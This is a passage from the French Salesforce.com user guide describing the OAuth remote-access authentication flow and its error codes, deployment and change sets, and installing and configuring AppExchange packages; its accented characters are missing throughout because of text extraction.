4. Salesforce.com vrifie l'URL de rappel (spcifie dans les pages de dfinition de l'application d'accs distance ou dans le
paramtre oauth_callback de l'tape prcdente). Si l'URL spcifie peut accepter une valeur de jeton de vrification,
l'une des actions suivantes est excute :

Si le paramtre oauth_callback dfini dans le jeton RequestToken est oob et que la valeur du champ URL de rappel
est valide dans la page de dfinition de l'application d'accs distance, l'utilisateur est redirig vers cette URL.
Si le paramtre oauth_callback dfini dans le jeton RequestToken correspond une URL valide, l'utilisateur est
redirig vers cette URL.

Si l'URL de rappel ne peut pas accepter le jeton de vrification, un code de vrification est fourni l'utilisateur, qu'il doit
saisir dans l'application du /// consommateur.

Dvelopper

Guide de l'utilisateur | Authentification de l'application d'accs distance OAuth | 1000

5. Le consommateur est inform de la disponibilit des jetons AccessToken et AccessTokenSecret, qu'il peut recevoir avec
le jeton de vrification envoy par Salesforce.com ou avec le code de validation envoy par l'utilisateur final.
Demande d'un jeton AccessToken
Une fois l'utilisateur authentifi, le consommateur peut changer un jeton RequestToken contre un jeton AccessToken. Les
tapes ci-dessous prsentent plus de dtails sur l'change de jetons, destins aux dveloppeurs qui demandent des donnes
Salesforce.com l'aide d'une application d'accs distance.
1. Le consommateur fait une demande HTTPS GET ou POST
https://login.salesforce.com/_nc_external/system/security/oauth/AccessTokenHandler, avec

les paramtres requis dans les donnes de la requte get ou post :

oauth_consumer_key
oauth_signature_method
oauth_signature
oauth_timestamp
ouath_token
oauth_nonce
oauth_verifier
oauth_version - facultatif ; doit tre 1.0 si inclus

2. Salesforce.com valide les lments suivants :

Le secret du consommateur
La cl du consommateur
La signature
Que le jeton RequestToken n'a jamais t utilis
L'horodatage (doit tre de 15 minutes, plus trois minutes de marge pour compenser les diffrences ventuelles entre
les horloges des ordinateurs)
Que le /// n'a jamais t utilis

3. Aprs la validation, Salesforce.com renvoie les jetons AccessToken et AccessTokenSecret dans le corps de la rponse HTTP
sous forme de paires nom/valeur.
Accs aux donnes Salesforce.com l'aide de l'application du consommateur
Lorsque le consommateur possde un jeton AccessToken valide, une application d'accs distance peut demander l'accs aux
donnes Salesforce.com. Les tapes ci-dessous prsentent plus de dtails sur l'accs aux donnes, destins aux dveloppeurs
qui demandent des donnes Salesforce.com l'aide d'une application d'accs distance.
1. Le consommateur fait une demande HTTPS POST https://login.salesforce.com, avec les paramtres requis
dans l'en-tte d'autorisation :

oauth_consumer_key
ouath_token
oauth_signature_method
oauth_signature
oauth_timestamp
oauth_nonce
oauth_version - facultatif ; doit tre 1.0 si inclus

2. Salesforce.com valide la requte en envoie un ID de session valide au consommateur.

Dvelopper

Guide de l'utilisateur | Authentification de l'application d'accs distance OAuth | 1001

Accs aux donnes Salesforce.com l'aide de l'API

Lorsque le consommateur possde un jeton AccessToken valide, une application d'accs distance peut demander l'accs aux
donnes Salesforce.com l'aide de l'API des services Web Force.com.
Remarque: Votre organisation doit avoir accs l'API et l'application d'accs distance. Pour plus d'informations,
contactez votre reprsentant salesforce.com.
Les tapes ci-dessous prsentent plus de dtails sur l'accs aux donnes, destins aux dveloppeurs qui demandent des donnes
Salesforce.com l'aide d'une application d'accs distance.
1. Le consommateur fait une demande HTTPS POST Salesforce.com.

L'URL doit avoir le format suivant : https://login.salesforce.com/services/OAuth/type/api-version

type doit contenir l'une des valeurs suivantes :

c - WSDL partenaire
u - WSDL entreprise

api-version doit tre une version d'API valide.

L'en-tte d'autorisation doit contenir les paramtres suivants :

-

oauth_consumer_key
ouath_token
oauth_signature_method
oauth_signature
oauth_timestamp
oauth_nonce
oauth_version - facultatif ; doit tre 1.0 si inclus

2. Salesforce.com valide la requte en envoie un ID de session valide au consommateur. L'en-tte de rponse comprend les
lments suivants :
<response>
<metadataServerUrl>https://na1-api.salesforce.com/services/Soap/m/17.0/00D300000006qjK
</metadataServerUrl> <sandbox>false</sandbox>
<serverUrl>https://na1-api.salesforce.com/services/Soap/u/17.0/00D300000006qjK </serverUrl>
<sessionId>00D300000006qrN!AQoAQJTMzwTa67tGgQck1ng_xgMSuWVBpFwZ1xUq2kLjMYg6Zq
GTS8Ezu_C3w0pdT1DMyHiJgB6fbhhEPxKjGqlYnlROIUs1</sessionId> </response>

Voir aussi :
Prsentation de l'application d'accs distance
Applications d'accs distance et terminologie OAuth
Codes d'erreur OAuth de l'application d'accs distance
Dfinition d'applications d'accs distance

Dvelopper

Guide de l'utilisateur | Authentification de l'application d'accs distance OAuth | 1002

Codes d'erreur OAuth de l'application d'accs distance

Salesforce.com renvoie les codes d'erreur suivants durant les tapes d'authentification OAuth de l'accs distance. Le code
d'erreur renvoy dpend de l'erreur reue.
Code
d'erreur

Erreur

Remarques

1701

Echec : relecture de nonce dtecte

Un nonce ne peut utilis qu'une seule fois.

1702

Echec : Paramtre consommateur cl manquant.

1703

Echec : Jeton d'accs non valide.

1704

Echec : Version non prise en charge.

Vous devez spcifier 1.0 pour le paramtre

oauth_version.

1705

Echec : Horodatage non valide.

L'horodatage est manquant, futur, expir ou mal dfini.

1706

Echec : Nonce non valide.

Le nonce est manquant.

1707

Echec : Paramtre de jeton OAuth manquant.

1708

Echec : Adresse IP non autorise.

1709

Echec : Mthode de signature non valide.

Le Jeton demand (RequestToken) contient un

paramtre oauth_signature_method non valide.

1710

Echec : URL de rappel non valide.

Le Jeton demand (RequestToken) contient un

paramtre oauth_callback non valide. La valeur
doit tre oob ou une URL valide qui utilise https.

1711

Echec : Vrificateur non valide.

Le Jeton demand (RequestToken) contient un

paramtre oauth_verifier non valide.

1712

Echec : Limite d'obtention du jeton d'accs dpasse. L'change entre un jeton de demande et un jeton
d'accs ne peut tre tent que trois fois.

1713

Echec : Consommateur supprim

L'application d'accs distance a t supprime de

l'organisation Salesforce.com.

1716

Echec : Accs l'API OAuth dsactiv

L'API des services Web Force.com n'est pas activ

pour l'organisation ou l'accs l'API OAuth a t
dsactiv pour votre organisation.

Voir aussi :
Prsentation de l'application d'accs distance
Authentification de l'application d'accs distance OAuth

Dvelopper

Guide de l'utilisateur | Demande d'application d'accs distance | 1003

Demande d'application d'accs distance

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des applications
OAuth :

Grer l'accs distance

L'application externe que vous utilisez ncessite un accs vos donnes Salesforce.com. L'application externe a dja t intgre
Salesforce.com par votre administrateur.
Pour accorder l'accs de cette application vos donnes Salesforce.com, cliquez sur Accepter.
Si la description de l'application ne correspond pas celle que vous utilisez ou si vous ne souhaitez pas accorder l'accs vos
donnes, cliquez sur Refuser.
Aprs avoir accord l'accs l'application d'accs distance, vous pouvez le rvoquer en cliquant sur Configuration Mes
informations personnelles Informations personnelles, puis sur Rvoquer dans la section Application d'accs distance.

Voir aussi :
Prsentation de l'application d'accs distance

Demande d'application d'accs distance approuve

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des applications
OAuth :

Grer l'accs distance

L'application externe que vous utilisez a demand l'accs vos donnes Salesforce.com. Fermez la fentre du navigateur et
revenez l'application que vous utilisiez.
Aprs avoir accord l'accs l'application d'accs distance, vous pouvez le rvoquer en cliquant sur Configuration Mes
informations personnelles Informations personnelles, puis sur Rvoquer dans la section Application d'accs distance.

Voir aussi :
Prsentation de l'application d'accs distance
Demande d'application d'accs distance

Dvelopper

Guide de l'utilisateur | Gestion des applications d'accs distance | 1004

Demande d'application d'accs distance refuse

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des applications
OAuth :

Grer l'accs distance

L'application externe que vous utilisez a demand l'accs vos donnes Salesforce.com, que vous avez refus. Vous devez vous
dconnecter de Salesforce.com. Vous pouvez revenir l'application d'origine.

Voir aussi :
Prsentation de l'application d'accs distance
Demande d'application d'accs distance

Gestion des applications d'accs distance

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des applications
OAuth :

Grer l'accs distance

Une application d'accs distance est extrieure Salesforce.com, et utilise le protocole OAuth pour vrifier l'utilisateur
Salesforce.com et l'application externe. Toutes les applications d'accs distance ont t intgres l'aide de Salesforce.com
et peuvent ainsi accder un sous-ensemble de vos donnes Salesforce.com, lorsque vous avez explicitement autoris chaque
application.
Toutes les applications d'accs distance autorises accder vos donnes Salesforce.com sont rpertories dans vos
informations personnelles. Cliquez sur Configuration Mes informations personnelles Informations personnelles,
puis accdez la section Accs distance. Dans cette section, vous pouvez effectuer les oprations suivantes :

Afficher les informations sur chaque application d'accs distance, notamment son nom et la date d'autorisation d'accs.
Cliquez sur Rvoquer pour retirer l'application d'accs distance. Une fois l'application rvoque, elle ne peut plus accder
vos donnes Salesforce.com.

Voir aussi :
Prsentation de l'application d'accs distance

Dployer
Prsentation du dploiement
Autorisations utilisateur requises
Pour modifier les connexions de dploiement :

Dployer des ensembles de modifications

Pour utiliser des ensembles de modifications sortants :

Crer et tlcharger des ensembles de modifications

Pour utiliser des ensembles de modifications entrants :

Dployer des ensembles de modifications

Cliquez sur Configuration Dployer pour accder aux outils utiliss pour migrer les modifications de mtadonnes entre
les organisations.
Connexions de dploiement
Pour utiliser la fonctionnalit des ensembles de donnes, une connexion de dploiement est requise. Vous pouvez spcifier
des autorisations de connexion pour des ensembles de donnes entrants et sortants dans la page Connexions de dploiement.
Ensembles de donnes sortants
Effectuez des modifications dans l'organisation laquelle vous tes connect, puis tlchargez ces modifications vers une
autre organisation.
Ensembles de donnes entrants
Acceptez, modifiez ou refusez des ensembles de donnes tlchargs depuis d'autres organisations.
Surveiller les dploiements
Suivez la progression de dploiements effectus via l'API mtadonnes.
Remarque: Les modifications de configuration dployes l'aide d'ensembles de donnes ne s'affichent pas
dans la page Surveiller les dploiements.

Dployer

Guide de l'utilisateur | Prsentation des ensembles de modifications | 1006

Prsentation des ensembles de modifications

Disponible dans Enterprise Edition, Unlimited Edition et Free Edition

Autorisations utilisateur requises

Pour modifier les connexions de dploiement :

Dployer des ensembles de modifications

Pour utiliser des ensembles de modifications sortants :

Crer et tlcharger des ensembles de modifications

Pour utiliser des ensembles de modifications entrants :

Dployer des ensembles de modifications

Remarque: Les ensembles de modifications sont une fontionnalit bta susceptible de changer tout moment. La
documentation relative aux ensembles de modifications est prsente dans la Fiche sur les ensembles de modifications.
Un ensemble de modification est moyen qui permet aux organisations d'envoyer des personnalisations une autre organisation.
Par exemple, vous pouvez crer un objet dans une organisation de test sandbox et l'envoyer votre organisation de production
l'aide d'un ensemble de modifications. Les ensembles de modifications contiennent uniquement des modifications que vous
pouvez effectuer via le menu Configuration. Par consquent, vous ne pouvez pas utiliser un ensemble de modifications pour
tlcharger une liste d'enregistrements de contacts. En d'autres termes, les ensembles de modifications contiennent des
mtadonnes, pas des donnes.
Pour envoyer des personnalisations depuis votre organisation actuelle vers une autre organisation, vous pouvez crer un ensemble
de modifications sortant. Une fois un ensemble de modifications envoy, l'organisation destinataire le reoit en tant qu'ensemble
de modifications entrant.
L'envoi d'un ensemble de modifications entre deux organisations ncessite une connexion de dploiement. Actuellement, les
ensembles de modifications peuvent tre envoys uniquement entre des organisations affilies une organisation de production,
par exemple une organisation de production et une organisation de test sandbox ou deux organisations de test sandbox cres
partir de la mme organisation.

Surveillance des dploiements de mtadonnes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les dploiements de mtadonnes :

Modifier toutes les donnes

Vous pouvez utiliser l'API mtadonnes pour dployer des de fichiers XML de reprsentations de composants dans une
entreprise. Un composant est une instance d'un type de mtadonnes dans l'API mtadonnes. Par exemple, CustomObject
est un type de mtadonnes pour des objets personnaliss et le composant MyCustomObject__c est une instance d'un objet
personnalis.

Dployer

Guide de l'utilisateur | Surveillance des dploiements de mtadonnes | 1007

Le moyen le plus simple d'accder l'API mtadonnes est d'utiliserForce.com IDE ou l'outil de migration Force.com. Ces
outils reposent sur l'API mtadonnes et utilisent respectivement les outils standard Eclipse et Ant pour simplifier les tches
avec l'API mtadonnes.
L'appel de dploiement dans l'API mtadonnes est asynchrone et son excution peut prendre du temps. Force.com IDE et
l'Outil de migration Force.com utilisent l'appel de dploiement pour dplacer les reprsentations en fichier XML de composants
dans une organisation. Pour suivre l'tat des dploiements en cours ou termins au cours des dernires 24 heures pour ces outils
ou d'autres clients qui dploient des mtadonnes, cliquez sur Configuration Dployer Surveiller les dploiements.
La liste des dploiements en cours contient les colonnes suivantes :
Colonne

Description

Cr par

Nom de l'utilisateur qui effectue le dploiement.

Heure de
dbut

Date et heure de dmarrage du dploiement.

Uniquement
valider

Indique si ce dploiement est utilis pour vrifier la validit des fichiers dploys sans apporter de
modification dans l'organisation. Un dploiement destin uniquement la validation ne dploie aucun
composant et n'apporte aucune modification l'organisation.

Statut

Les valeurs possibles sont les suivantes :

En file d'attente : le dploiement n'a pas commenc. Il attend dans une file d'attente.
En cours : le dploiement a commenc, mais il n'est pas termin.
Type de traitement : type : le dploiement a commenc et traite un type de mtadonnes. type
correspond au type de mtadonnes, par exemple CustomObject.
Traitement de nom : le dploiement a commenc et il traite un composant. nom correspond au nom
du composant, par exemple MyCustomObject__c.
Test excut : ApexClass.testName : une classe de test Apex est en cours d'excution. ApexClass
correspond au nom de la classe Apex et testName correspond au nom du test.

Composants

Progression du dploiement. Par exemple, 10 / 15 (3 erreurs) indique que dix composants sur
quinze ont t traits avec succs et que des erreurs ont t dtectes sur trois autres composants.

Tests

Progression des tests Apex excuts. Par exemple, 13 / 20 (2 erreurs) indique que treize composants
sur vingt ont t traits avec succs et que des erreurs ont t dtectes sur deux autres composants. La
valeur du nombre total de tests est imprcise tant que la phase de test du dploiement n'a pas commenc.

La liste Dploiements effectus au cours des dernires 24 heures contient les colonnes suivantes. Les dploiements termins
sont retirs de la liste 24 heures aprs leur excution.
Colonne

Description

Cr par

Nom de l'utilisateur qui a effectu le dploiement.

Heure de
dbut

Date et heure de dmarrage du dploiement.

Heure de fin Date et heure de fin du dploiement.

Dployer

Guide de l'utilisateur | Surveillance des dploiements de mtadonnes | 1008

Colonne

Description

Uniquement
valider

Indique si ce dploiement est utilis pour vrifier la validit des fichiers dploys sans apporter de
modification dans l'organisation. Un dploiement destin uniquement la validation ne dploie aucun
composant et n'apporte aucune modification l'organisation.

Statut

Les valeurs possibles sont les suivantes :

Termin : le dploiement a t effectu avec succs.
Effectu avec des erreurs : le dploiement est termin, mais le dploiement de certains composants ou
l'excution de tests a chou. Ce statut est impossible dans un environnement de production dans
lequel toute erreur entrane l'annulation du dploiement.
Echec : le dploiement a gnr quelques erreurs et aucune modification n'a t apporte l'organisation.

Composants

Le nombre de composants traits durant le dploiement (dploiements avec des erreurs inclus). Par exemple,
10 (1 erreur) indique que dix composants ont t traits et qu'une erreur a t rencontre sur un
composant.

Tests

Nombre de tests Apex excuts (tests avec des erreurs inclus). Par exemple, 13 (2 erreurs) indique
que treize tests ont t excuts et que des erreur ont t rencontres sur deux tests.

Packages installs
Packages installs
Vous pouvez installer des packages dans votre organisation Salesforce.com, puis les configurer, les dployer et les grer en
cliquant sur Configuration Afficher les packages installs.

Installation d'un package

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour installer des packages :

Tlcharger des packages AppExchange

Les utilisateurs AppExchange Directory accdent AppExchange pour passer en revue les sous-applications soumises par
d'autres clients Salesforce.com, les tester et les installer, par exemple. Les sous-applications installes fonctionnent comme
toute autre sous-application personnalise au sein de votre organisation Salesforce.com.
Avant d'installer un package, utilisez AppExchange pour :

Procder un essai, reportez-vous Excution d'un test dans l'aide en ligne de Force.com AppExchange
Vrifier les exigences d'installation du package, reportez-vous Vrification des exigences d'une sous-application dans l'aide
en ligne de Force.com AppExchange
Dterminer si le package prend en charge des mises niveau, reportez-vous propos des packages grs la page 863

Pour installer un package partir de AppExchange, suivez cette procdure depuis le dbut. Si vous avez reu un lien d'installation,
cliquez sur ce lien et passez cette tape la page 1009.
Remarque: Avant de cliquer sur le lien d'installation, vrifiez qu'il ouvre l'instance approprie. Si vous effectuez
l'installation dans votre organisation de production Salesforce.com alors que le package a t tlcharg dans une
organisation de test Sandbox, remplacez la partie test.salesforce.com du lien d'installation par www.salesforce.com
. De la mme faon, remplacez la partie www.saleforce.com d'un lien d'installation par test.salesforce.com
lorsque vous effectuez l'installation dans votre organisation de test Sandbox avec un package tlcharg depuis une
organisation de production Salesforce.com.
1.
2.
3.
4.

Accder AppExchange en cliquant sur Configuration Afficher les packages installs.

Cliquez sur Visiter Force.com AppExchange.
Parcourez le siteForce.com AppExchange pour rechercher la sous-application installer.
Cliquez sur Installer maintenant dans la page d'informations de la sous-application.
Si l'option Installer maintenant ne s'affiche pas, il s'agit peut-tre d'une sous-application partenaire que vous pouvez
tlcharger et utiliser en dehors de Salesforce.com. Pour plus d'informations, contactez l'diteur.

5. Entrez vos nom d'utilisateur et mot de passe, lisez les conditions d'utilisation et cochez la case indiquant que vous les avez
lues et acceptes. Cliquez ensuite sur Continuer.

Packages installs

Guide de l'utilisateur | Packages installs | 1010

Si possible, slectionnez l'emplacement de votre version test dans l'environnement Sandbox de votre entreprise pour y
installer le package. Ce package est supprim de l'entreprise de la version test chaque cration d'une copie de la version
test.
6. Si le package est protg par un mot de passe, saisissez le mot de passe que vous avez reu de l'diteur du package.
7. Passez en revue les lments de package pour vous assurer qu'il s'agit du package installer, puis cliquez sur Continuer.
Si vous installez une mise niveau vers un package gr, consultez la liste des nouveaux lments que la mise niveau
ajoutera.
Remarque: Il se peut que certains lments du package, tels que des rgles de validation, des types d'enregistrement
ou des paramtres personnaliss, ne figurent pas dans la liste des lments de package, mais qu'ils soient inclus dans
le package et installs avec les autres lments. S'il n'y a pas d'lments dans la liste des lments du package, celui-ci
peut ne contenir que des modifications mineures qui ne sont pas enregistres dans la liste des lments du package.
8. Vrifiez l'accs API accord aux composants de ce package pour vous assurer qu'il est acceptable. Pour plus d'informations,
reportez-vous A propos de l'accs API et Apex dynamique dans les packages la page 1016.
9. Vrifiez les applications d'accs distance rpertories pour vous assurer qu'elles sont acceptables, puis cliquez sur Suivant
si elles le sont. S'ils ne le sont pas, cliquez sur Annuler. Chaque application d'accs distance reprsente une application
de confiance autorise accder aux donnes Salesforce.com d'un utilisateur, une fois l'utilisateur et l'application vrifis.
10. Si l'accs API et les applications d'accs distance sont acceptables, cliquez sur Suivant. S'ils ne le sont pas, cliquez sur
Annuler.
11. Lorsque vous installez des packages non grs, vous pouvez slectionner Rsoudre automatiquement les conflits
de nom. Une fois slectionn, Salesforce.com renomme le composant dans le package en cours d'installation.
12. Dans Enterprise Edition, Unlimited Edition et Developer Edition, choisissez une option de scurit et cliquez sur Suivant :
Accs admin uniquement
N'accorde aucune autorisation concernant les objets personnaliss aux profils utilisateur, sauf celui de l'administrateur
et ceux autoriss personnaliser l'application. Cette option dfinit galement la scurit au niveau du champ comme
tant visible et modifiable pour tous les champs inclus dans les nouvelles fonctions de ce package. Aprs l'installation,
si vous disposez d'Enterprise Edition, d'Unlimited Edition ou de Developer Edition, accordez, suivant les besoins,
les autorisations utilisateur appropries vos profils utilisateur.
Accorder l'accs tous les utilisateurs
Accorde l'accs intgral aux objets personnaliss inclus dans le nouveau package. Dfinit galement la scurit au
niveau du champ comme tant visible et modifiable pour tous les champs inclus dans le nouveau package.
Slectionner les paramtres de scurit
Vous permet de choisir les autorisations d'accs de tous les profils personnaliss et standard de votre organisation.
Accordez chaque profil un accs intgral ou aucun accs au nouveau package et tous ses composants.
Remarque: Selon le type d'installation, vous n'aurez peut-tre pas raliser cette tape. Par exemple, dans les
ditions Group Edition et Professional Edition, ou lorsque le package ne contient pas d'objet personnalis,
Salesforce.com passe outre cette tape et la suivante, pour donner l'accs intgral tous les utilisateurs.
13. Dans Enterprise Edition, Unlimited Edition et Developer Edition, si vous avez choisi Slectionner les paramtres de
scurit, slectionnez le niveau d'accs accorder aux utilisateurs de chaque profil, puis cliquez sur Suivant. Voici les
options standard disponibles :

Accs intgral : accorde l'accs intgral aux objets personnaliss inclus dans le nouveau package. Dfinit galement la
scurit au niveau du champ comme tant visible et modifiable pour tous les champs inclus dans le nouveau package.

Packages installs

Guide de l'utilisateur | Packages installs | 1011

Aucun accs : n'accorde aucune autorisation concernant les objets personnaliss aux profils utilisateur, sauf celui de
l'administrateur et ceux autoriss personnaliser l'application. Cette option dfinit galement la scurit au niveau
du champ comme tant visible et modifiable pour tous les champs inclus dans les nouvelles fonctions de ce package.

Vous voyez apparatre d'autres options si l'diteur a inclus les paramtres des profils personnaliss. Vous pouvez intgrer
dans vos profils les paramtres des profils personnaliss de l'diteur, sans aucune incidence sur les paramtres existants de
vos profils. Dans la liste droulante en regard du profil auquel les paramtres doivent tre appliqus, choisissez le nom des
paramtres de profil voulus. Les paramtres actuels de ce profil restent intacts.
Vous pouvez galement cliquer sur Dfinir tout ct d'un niveau d'accs pour attribuer ce paramtre tous les profils
utilisateur.
Remarque: Dans une organisation Developer, un composant peut tre intgr plusieurs packages et Salesforce.com
rsout un paramtre de contrle d'accs partenaire unique pour chaque composant. Par exemple, si une organisation
Developer comporte deux packages, l'un gr et l'autre non gr, avec les contrles d'accs partenaires activs, le
package gr dfinit les contrles d'accs du profile pour ce composant. Si un composant est intgr un seul
package non gr avec les contrles d'accs partenaires activs, ces derniers s'appliquent. Si un composant est intgr
plusieurs packages non grs et aucun package gr, aucun paramtre de contrle d'accs partenaire n'est utilis,
quel que soit le statut d'activation des contrles d'accs partenaires dans les packages.
14. Cliquez sur Installation pour installer tous les composants du package slectionn. Pour afficher les paramtres standard
de chaque type de composant aprs l'installation, reportez-vous Configuration des packages installs la page 1012.
Remarque: Durant l'installation, Salesforce.com vrifie toutes les dpendances. L'entreprise d'un installateur doit
rpondre toutes les exigences de dpendances rpertories dans la page Afficher les dpendances ( l'exception
de Rapports), sinon l'installation chouera. Par exemple, pour installer un package qui fait rfrence des services,
ces derniers doivent tre activs pour l'entreprise de l'installateur. Pour plus d'informations sur les dpendances de
packages, reportez-vous Prsentation des dpendances la page 853.
Lors de l'installation d'un composant qui contient un script Apex, tous les tests d'units pour votre entreprise sont
effectus, y compris ceux contenus dans le nouveau package. Si un test d'unit repose sur un composant initialement
install comme tant inactif, comme une rgle de workflow par exemple, ce test d'unit risque d'chouer. Vous
pouvez cependant effectuer l'installation indpendamment des erreurs de tests d'units.
Pour connatre les raisons pour lesquelles Salesforce.com peut s'opposer une installation, reportez-vous Pourquoi
mon installation a-t-elle chou ? la page 2128.
15. Cliquez sur OK.
Si le package possde des objets et des rgles de workflow personnaliss, cliquez sur Dployer et confirmez le remplacement
du statut des objets personnaliss du package par Dploy, puis activez les rgles de workflow. Lors des mises niveau,
cela inclut tous les objets personnaliss et rgles de workflow du package, nouveaux ou existants, qui n'taient pas dploys
prcdemment.
16. Enfin, configurez et dployez votre package.
17. Si vous rinstallez un package dont vous souhaitez importer les donnes l'aide du fichier d'exportation reu aprs la
dsinstallation, reportez-vous Importation des donnes des packages la page 1025.

Packages installs

Guide de l'utilisateur | Packages installs | 1012

18. Si vous avez install un package gr, cliquez sur Grer les licences pour attribuer des licences des utilisateurs.
Reportez-vous Gestion de licences pour les packages installs la page 1026.

Voir aussi :
Dsinstaller un package
Gestion des installations de packages
Gestion des licences de packages installs
Mise niveau des packages
Configuration des packages installs
Dploiement de packages installs
propos de l'API et de l'accs Apex dynamique dans les packages
Paramtrage de la scurit d'une classe Apex

Configuration des packages installs

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour installer des packages :

Tlcharger des packages AppExchange

Pour configurer les packages installs :

Personnaliser l'application

Avant de dployer le package vers les utilisateurs, effectuez les modifications ncessaires la mise en uvre. En fonction du
contenu du package, vous devrez ventuellement personnaliser les lments suivants :
Onglet propos de
Si l'diteur a ajout l'onglet propos de une page de bienvenue avec des informations destines l'administrateur
charg de l'installation, enlevez-la avant de dployer votre package afin que vos utilisateurs n'aient pas le faire.
Option Configurer
L'diteur du package inclut parfois un lien vers un site Web externe contenant des informations sur la configuration du
package. Dans ce cas, la page des tlchargements Force.com AppExchange affiche une option Configurer en regard
du package lorsque vous cliquez sur Configuration Afficher les packages installs. Cliquez sur Configurer pour
visualiser les configurations suggres par l'diteur pour le package.
Champs et liens personnaliss
Ajoutez les champs ou liens personnaliss ncessaires aux nouveaux objets personnaliss.
Objet personnalis
Tous les objets personnaliss de votre package sont installs dans l'organisation de l'abonne comme inactifs, quel que
soit le statut de l'organisation de dveloppeur. Lorsque vous deployez un package, Salesforce.com active tous les objets
personnaliss inclus. Vous pouvez galement dployer individuellement les objets personnaliss en configurant leur
Statut de dploiement sur En cours de dveloppement.

Packages installs

Guide de l'utilisateur | Packages installs | 1013

Types de rapport personnalis

Tous les rapports personnaliss de votre package sont installs dans l'organisation de l'abonne comme inactifs, quel que
soit le statut de l'organisation de dveloppeur. Lorsque vous deployez un package, Salesforce.com active tous les rapports
personnaliss inclus. Vous pouvez galement installer individuellement les rapports personnaliss en configurant leur
Statut de dploiement sur En cours de dveloppement.
Si le Nom du type de rapport personnalis correspond un nom utilis dans votre organisation, Salesforce.com
recommande de modifier le nom du type de rapport aprs l'installation du package afin d'viter toute confusion
entre les deux types de rapport.
Onglets personnaliss
Si le style de l'onglet d'un onglet personnalis correspond un style utilis dans votre entreprise, il est recommand
de modifier ce style de l'onglet, une fois le package install.
Utilisateur actuel d'un tableau de bord
L'utilisateur actuel des tableaux de bord inclus dans le package est celui qui installe ce package. Si ncessaire,
modifiez les proprits du tableau de bord et remplacez l'utilisateur actuel par un utilisateur dot des paramtres
de scurit appliquer ce tableau de bord.
Dossiers
Si des sous-applications contiennent des documents, des modles d'e-mail, des rapports ou des tableaux de bord,
Salesforce.com cre des dossiers dans l'entreprise de l'installateur l'aide des noms de dossier de l'diteur. Vrifiez que
ces noms de dossier sont uniques au sein de votre entreprise.
Ces nouveaux dossiers sont visibles pour tous les utilisateurs. Configurez les paramtres de dossier avant le dploiement
si vous souhaitez restreindre leur affichage.
Prsentations de page d'accueil
Les prsentations de page d'accueil personnalise incluses dans le package ne sont attribues aucun utilisateur. Pour
les mettre la disposition de vos utilisateurs, attribuez-les aux profils appropris.
Vues de liste
Les vues de liste incluses dans les sous-applications sont visibles pour tous les utilisateurs. Modifiez la visibilit de ces
vues de liste, si ncessaire.
Prsentations de page
La prsentation de page par dfaut des objets personnaliss du package est attribue tous les utilisateurs. Les
administrateurs des entreprises Enterprise Edition, Unlimited Edition et Developer Edition peuvent configurer la
prsentation de page comme il convient pour les utilisateurs concerns.
Si un objet personnalis du package inclut des relations aux objets standard, ajoutez-les aux prsentations de page
concernes en tant que listes associes.
Si le package comprend des liens personnaliss, ajoutez-les aux prsentations de page concernes.
Si la gestion avance des devises est active pour votre organisation, les champs rcapitulatifs de cumul de devises ne sont
pas valides s'ils figurent sur des comptes et rcapitulent des valeurs d'opportunits ou sur des opportunits et rcapitulent
des valeurs d'objets personnalises. Supprimez ces champs de toutes les prsentations de page.
Systme de traduction
Les valeurs traduites pour les composants de package installs sont galement installes pour toutes les langues incluses
par le dveloppeur. Tous les composants de package que le dveloppeur a personnaliss dans la configuration, tels qu'un

Packages installs

Guide de l'utilisateur | Packages installs | 1014

champ personnalis ou un type d'enregistrement, apparaissent dans les pages de configuration de l'installateur dans la
langue du dveloppeur (la langue utilise lors de la dfinition de ces composants). Les utilisateurs de l'entreprise de
l'installateur voient automatiquement les valeurs traduites si leur propre langue est incluse dans le package. Les installateurs
peuvent galement activer des langues supplmentaires condition que le systme de traduction soit activ. Les installateurs
peuvent ajouter ou modifier des valeurs traduites dans des packages non grs. Les installateurs peuvent ajouter des
valeurs traduites dans les packages grs seulement si elles n'taient pas incluses dans le package. Pour plus d'informations
sur la modification des valeurs des composants grs, reportez-vous Composants d'un package la page 866.
Remarque: Si vous avez install un package gr et que le dveloppeur active une langue supplmentaire dans
une mise niveau active aprs l'installation, Salesforce.com vous empche de procder des mises niveau
jusqu' ce que vous supprimiez les traductions en conflit.
Alertes de workflow
Si le destinataire d'une alerte de workflow est un utilisateur, Salesforce.com remplace cet utilisateur par l'utilisateur
effectuant l'installation du package. Changez les destinataires des alertes de workflow installes si ncessaire.
Mises Jour des Champs de Workflow
Si une mise jour de champ est conue pour remplacer un champ de responsable d'enregistrement par un utilisateur
spcifique, Salesforce.com remplace cet utilisateur par l'utilisateur effectuant l'installation du package. Modifiez la valeur
de champ des mises jour de champ installes, si ncessaire.
Messages sortants du workflow
Salesforce.com remplace l'utilisateur dans le champ Utilisateur envoyer en tant que d'un message sortant
par l'utilisateur effectuant l'installation du package. Modifiez cette valeur aprs l'installation, si ncessaire.
Rgles de Workflow
Toutes les rgles de workflow du package sont installes dans l'organisation de l'abonne comme inactives, quel que soit
le statut de l'organisation de dveloppeur. Lorsque vous dployez un package, Salesforce.com active toutes les rgles de
workflow incluses. Vous pouvez dployer (activer) individuellement les rgles de workflow en activant la rgle.
Les rgles de workflow sont installes sans les dclencheurs temporels que le dveloppeur a pu crer. Configurez les
dclencheurs temporels si ncessaire.
Tches de workflow
Salesforce.com remplace l'utilisateur dans le champ Assign par l'utiisateur qui installe le package. Modifiez cette
valeur aprs l'installation, si ncessaire.
Personnalisez tous les autres lments ncessaires la mise en uvre.
Remarque: Les lments que vous ajoutez une sous-application personnalise aprs l'installation sont supprims si
vous la dsinstallez.

Packages installs

Guide de l'utilisateur | Packages installs | 1015

Les objets ou onglets personnaliss de la sous-application ne sont pas accessibles aux utilisateurs et les rgles de workflow sont
inactives jusqu' ce que vous les dployiez. Vous trouverez des instructions pour dployer un package install partir de
AppExchange dans Dploiement des packages installs la page 1015.

Voir aussi :
Installation d'un package
Dploiement de packages installs
